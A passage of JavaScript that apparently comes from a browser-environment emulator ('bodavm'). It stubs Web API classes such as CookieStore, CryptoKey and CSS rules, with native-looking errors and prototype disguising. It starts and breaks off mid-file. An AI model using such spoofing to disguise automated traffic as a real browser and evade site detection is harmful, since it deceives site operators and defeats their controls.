ContentVisibilityAutoStateChangeEvent对象 -bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'] = function ContentVisibilityAutoStateChangeEvent(){if (!(this instanceof ContentVisibilityAutoStateChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ContentVisibilityAutoStateChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'], "ContentVisibilityAutoStateChangeEvent"); -bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ContentVisibilityAutoStateChangeEvent', "skipped", {configurable:true, enumerable:true, get:function skipped (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ContentVisibilityAutoStateChangeEvent'].prototype, "ContentVisibilityAutoStateChangeEvent", "skipped_get", arguments)}, set:undefined},'prototype'); - -// ConvolverNode对象 -bodavm.memory.globalobj['ConvolverNode'] = function ConvolverNode(){if (!(this instanceof ConvolverNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConvolverNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConvolverNode'], "ConvolverNode"); -bodavm.memory.globalobj['ConvolverNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ConvolverNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('ConvolverNode', "buffer", {configurable:true, enumerable:true, get:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_get", arguments)}, set:function buffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "buffer_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ConvolverNode', "normalize", {configurable:true, enumerable:true, get:function normalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_get", arguments)}, set:function normalize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConvolverNode'].prototype, "ConvolverNode", "normalize_set", arguments)}},'prototype'); - -// CookieChangeEvent对象 -bodavm.memory.globalobj['CookieChangeEvent'] = function CookieChangeEvent(){if (!(this instanceof CookieChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CookieChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieChangeEvent'], "CookieChangeEvent"); -bodavm.memory.globalobj['CookieChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['CookieChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('CookieChangeEvent', "changed", {configurable:true, enumerable:true, get:function changed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "changed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CookieChangeEvent', "deleted", {configurable:true, enumerable:true, get:function deleted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieChangeEvent'].prototype, "CookieChangeEvent", "deleted_get", arguments)}, set:undefined},'prototype'); - - -// CookieStore对象 - -bodavm.memory.globalobj['CookieStore'] = function CookieStore(){if (!(this instanceof CookieStore)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStore'], "CookieStore"); - -bodavm.memory.globalobj['CookieStore'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; - -bodavm.memory.globalobj['CookieStore'].__proto__=bodavm.memory.globalobj['EventTarget']; - -bodavm.toolsFunc.defineProperty('CookieStore', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "get", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "getAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CookieStore', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStore'].prototype, "CookieStore", "onchange_set", arguments)}},'prototype'); - - - -// cookieStore对象 - -bodavm.memory.globalobj['cookieStore'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['cookieStore'].__proto__=bodavm.memory.globalobj['CookieStore'].prototype; - -// CookieStoreManager对象 -bodavm.memory.globalobj['CookieStoreManager'] = function CookieStoreManager(){if (!(this instanceof CookieStoreManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CookieStoreManager'], "CookieStoreManager"); -bodavm.toolsFunc.defineProperty('CookieStoreManager', "getSubscriptions", {configurable:true, enumerable:true, writable:true, value:function getSubscriptions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "getSubscriptions", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CookieStoreManager', "subscribe", {configurable:true, enumerable:true, writable:true, value:function subscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "subscribe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CookieStoreManager', "unsubscribe", {configurable:true, enumerable:true, writable:true, value:function unsubscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CookieStoreManager'].prototype, "CookieStoreManager", "unsubscribe", arguments)}},'prototype'); - -// CountQueuingStrategy对象 -bodavm.memory.globalobj['CountQueuingStrategy'] = function CountQueuingStrategy(){if (!(this instanceof CountQueuingStrategy)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CountQueuingStrategy': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CountQueuingStrategy'], "CountQueuingStrategy"); -bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "highWaterMark", {configurable:true, enumerable:true, get:function highWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "highWaterMark_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CountQueuingStrategy', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CountQueuingStrategy'].prototype, "CountQueuingStrategy", "size_get", arguments)}, set:undefined},'prototype'); - -// createImageBitmap对象 -bodavm.memory.globalobj['createImageBitmap'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('createImageBitmap', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('createImageBitmap', "name", {configurable:true, enumerable:false, writable:false, value:"createImageBitmap"}); - -// Credential对象 -bodavm.memory.globalobj['Credential'] = function Credential(){if (!(this instanceof Credential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Credential'], "Credential"); -bodavm.toolsFunc.defineProperty('Credential', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Credential', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Credential'].prototype, "Credential", "type_get", arguments)}, set:undefined},'prototype'); - -// credentialless对象 -bodavm.memory.globalobj['credentialless'] = { - _boisinit:bodavm.config.isinit - } - -// CropTarget对象 -bodavm.memory.globalobj['CropTarget'] = function CropTarget(){if (!(this instanceof CropTarget)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CropTarget'], "CropTarget"); -bodavm.toolsFunc.defineProperty('CropTarget', "fromElement", {configurable:true, enumerable:true, writable:true, value:function fromElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CropTarget'].undefined, "CropTarget", "fromElement", arguments)}}); - -// crossOriginIsolated对象 -bodavm.memory.globalobj['crossOriginIsolated'] = { - _boisinit:bodavm.config.isinit - } - -// CryptoKey对象 -bodavm.memory.globalobj['CryptoKey'] = function CryptoKey(){if (!(this instanceof CryptoKey)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CryptoKey'], "CryptoKey"); -bodavm.toolsFunc.defineProperty('CryptoKey', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CryptoKey', "extractable", {configurable:true, enumerable:true, get:function extractable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "extractable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CryptoKey', "algorithm", {configurable:true, enumerable:true, get:function algorithm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "algorithm_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CryptoKey', "usages", {configurable:true, enumerable:true, get:function usages (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CryptoKey'].prototype, "CryptoKey", "usages_get", arguments)}, set:undefined},'prototype'); - -// CSSAnimation对象 -bodavm.memory.globalobj['CSSAnimation'] = function CSSAnimation(){if (!(this instanceof CSSAnimation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSAnimation'], "CSSAnimation"); -bodavm.memory.globalobj['CSSAnimation'].prototype.__proto__=bodavm.memory.globalobj['Animation'].prototype; -bodavm.memory.globalobj['CSSAnimation'].__proto__=bodavm.memory.globalobj['Animation']; -bodavm.toolsFunc.defineProperty('CSSAnimation', "animationName", {configurable:true, enumerable:true, get:function animationName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSAnimation'].prototype, "CSSAnimation", "animationName_get", arguments)}, set:undefined},'prototype'); - -// CSSConditionRule对象 -bodavm.memory.globalobj['CSSConditionRule'] = function CSSConditionRule(){if (!(this instanceof CSSConditionRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSConditionRule'], "CSSConditionRule"); -bodavm.memory.globalobj['CSSConditionRule'].prototype.__proto__=bodavm.memory.globalobj['CSSGroupingRule'].prototype; -bodavm.memory.globalobj['CSSConditionRule'].__proto__=bodavm.memory.globalobj['CSSGroupingRule']; -bodavm.toolsFunc.defineProperty('CSSConditionRule', "conditionText", {configurable:true, enumerable:true, get:function conditionText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSConditionRule'].prototype, "CSSConditionRule", "conditionText_get", arguments)}, set:undefined},'prototype'); - -// CSSContainerRule对象 -bodavm.memory.globalobj['CSSContainerRule'] = function CSSContainerRule(){if (!(this instanceof CSSContainerRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSContainerRule'], "CSSContainerRule"); -bodavm.memory.globalobj['CSSContainerRule'].prototype.__proto__=bodavm.memory.globalobj['CSSConditionRule'].prototype; -bodavm.memory.globalobj['CSSContainerRule'].__proto__=bodavm.memory.globalobj['CSSConditionRule']; -bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerName", {configurable:true, enumerable:true, get:function containerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerQuery", {configurable:true, enumerable:true, get:function containerQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerQuery_get", arguments)}, set:undefined},'prototype'); - -// CSSCounterStyleRule对象 -bodavm.memory.globalobj['CSSCounterStyleRule'] = function CSSCounterStyleRule(){if (!(this instanceof CSSCounterStyleRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSCounterStyleRule'], "CSSCounterStyleRule"); -bodavm.memory.globalobj['CSSCounterStyleRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSCounterStyleRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "system", {configurable:true, enumerable:true, get:function system (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_get", arguments)}, set:function system (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "system_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "symbols", {configurable:true, enumerable:true, get:function symbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_get", arguments)}, set:function symbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "symbols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "additiveSymbols", {configurable:true, enumerable:true, get:function additiveSymbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_get", arguments)}, set:function additiveSymbols (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "additiveSymbols_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "negative", {configurable:true, enumerable:true, get:function negative (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_get", arguments)}, set:function negative (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "negative_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "prefix", {configurable:true, enumerable:true, get:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_get", arguments)}, set:function prefix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "prefix_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "suffix", {configurable:true, enumerable:true, get:function suffix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_get", arguments)}, set:function suffix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "suffix_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "range", {configurable:true, enumerable:true, get:function range (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_get", arguments)}, set:function range (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "range_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "pad", {configurable:true, enumerable:true, get:function pad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_get", arguments)}, set:function pad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "pad_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "speakAs", {configurable:true, enumerable:true, get:function speakAs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_get", arguments)}, set:function speakAs (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "speakAs_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSCounterStyleRule', "fallback", {configurable:true, enumerable:true, get:function fallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_get", arguments)}, set:function fallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSCounterStyleRule'].prototype, "CSSCounterStyleRule", "fallback_set", arguments)}},'prototype'); - -// CSSFontFaceRule对象 -bodavm.memory.globalobj['CSSFontFaceRule'] = function CSSFontFaceRule(){if (!(this instanceof CSSFontFaceRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontFaceRule'], "CSSFontFaceRule"); -bodavm.memory.globalobj['CSSFontFaceRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSFontFaceRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSFontFaceRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontFaceRule'].prototype, "CSSFontFaceRule", "style_get", arguments)}, set:undefined},'prototype'); - -// CSSFontPaletteValuesRule对象 -bodavm.memory.globalobj['CSSFontPaletteValuesRule'] = function CSSFontPaletteValuesRule(){if (!(this instanceof CSSFontPaletteValuesRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSFontPaletteValuesRule'], "CSSFontPaletteValuesRule"); -bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSFontPaletteValuesRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "fontFamily", {configurable:true, enumerable:true, get:function fontFamily (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "fontFamily_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "basePalette", {configurable:true, enumerable:true, get:function basePalette (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "basePalette_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSFontPaletteValuesRule', "overrideColors", {configurable:true, enumerable:true, get:function overrideColors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSFontPaletteValuesRule'].prototype, "CSSFontPaletteValuesRule", "overrideColors_get", arguments)}, set:undefined},'prototype'); - -// CSSImageValue对象 -bodavm.memory.globalobj['CSSImageValue'] = function CSSImageValue(){if (!(this instanceof CSSImageValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImageValue'], "CSSImageValue"); -bodavm.memory.globalobj['CSSImageValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSImageValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; - -// CSSImportRule对象 -bodavm.memory.globalobj['CSSImportRule'] = function CSSImportRule(){if (!(this instanceof CSSImportRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSImportRule'], "CSSImportRule"); -bodavm.memory.globalobj['CSSImportRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSImportRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSImportRule', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSImportRule', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSImportRule', "styleSheet", {configurable:true, enumerable:true, get:function styleSheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "styleSheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSImportRule', "layerName", {configurable:true, enumerable:true, get:function layerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSImportRule'].prototype, "CSSImportRule", "layerName_get", arguments)}, set:undefined},'prototype'); - -// CSSKeyframeRule对象 -bodavm.memory.globalobj['CSSKeyframeRule'] = function CSSKeyframeRule(){if (!(this instanceof CSSKeyframeRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframeRule'], "CSSKeyframeRule"); -bodavm.memory.globalobj['CSSKeyframeRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSKeyframeRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "keyText", {configurable:true, enumerable:true, get:function keyText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_get", arguments)}, set:function keyText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "keyText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframeRule', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframeRule'].prototype, "CSSKeyframeRule", "style_set", arguments)}},'prototype'); - -// CSSKeyframesRule对象 -bodavm.memory.globalobj['CSSKeyframesRule'] = function CSSKeyframesRule(){if (!(this instanceof CSSKeyframesRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeyframesRule'], "CSSKeyframesRule"); -bodavm.memory.globalobj['CSSKeyframesRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSKeyframesRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "appendRule", {configurable:true, enumerable:true, writable:true, value:function appendRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "appendRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSKeyframesRule', "findRule", {configurable:true, enumerable:true, writable:true, value:function findRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeyframesRule'].prototype, "CSSKeyframesRule", "findRule", arguments)}},'prototype'); - -// CSSKeywordValue对象 -bodavm.memory.globalobj['CSSKeywordValue'] = function CSSKeywordValue(){if (!(this instanceof CSSKeywordValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSKeywordValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSKeywordValue'], "CSSKeywordValue"); -bodavm.memory.globalobj['CSSKeywordValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSKeywordValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSKeywordValue', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSKeywordValue'].prototype, "CSSKeywordValue", "value_set", arguments)}},'prototype'); - -// CSSLayerBlockRule对象 -bodavm.memory.globalobj['CSSLayerBlockRule'] = function CSSLayerBlockRule(){if (!(this instanceof CSSLayerBlockRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSLayerBlockRule'], "CSSLayerBlockRule"); -bodavm.memory.globalobj['CSSLayerBlockRule'].prototype.__proto__=bodavm.memory.globalobj['CSSGroupingRule'].prototype; -bodavm.memory.globalobj['CSSLayerBlockRule'].__proto__=bodavm.memory.globalobj['CSSGroupingRule']; -bodavm.toolsFunc.defineProperty('CSSLayerBlockRule', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSLayerBlockRule'].prototype, 